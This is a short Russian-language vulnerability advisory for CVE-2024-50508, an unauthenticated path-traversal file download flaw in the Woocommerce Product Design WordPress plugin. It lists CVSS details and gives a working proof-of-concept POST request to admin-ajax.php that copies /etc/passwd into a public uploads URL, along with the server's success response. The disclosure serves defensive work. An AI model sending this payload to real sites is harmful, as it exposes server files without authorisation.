CVE-2024-50508

Woocommerce Product Design <= 1.0.0 - Неаутентифицированное произвольное скачивание файлов

Описание

Плагин Woocommerce Product Design для WordPress уязвим к обходу каталога во всех версиях до 1.0.0 включительно. Это позволяет неаутентифицированным злоумышленникам читать содержимое произвольных файлов на сервере, которые могут содержать конфиденциальную информацию.

Детали

• Тип: плагин
• Slug: woo-product-design
• Затронутая версия: 1.0.0
• Оценка CVSS: 7.5
• Рейтинг CVSS: Высокий
• Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE: CVE-2024-50508
• Статус: Закрыто

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

action=pc_added_uploaded_image&file[path]=/etc/passwd

{
  "path": "/var/www/html/wp-content/uploads/wcpc/images/uploaded_images/passwd",
  "message": "Image Uploaded Successfully",
  "url": "https://wp-dev.ddev.site/wp-content/uploads/wcpc/images/uploaded_images/passwd",
  "status": "success"
}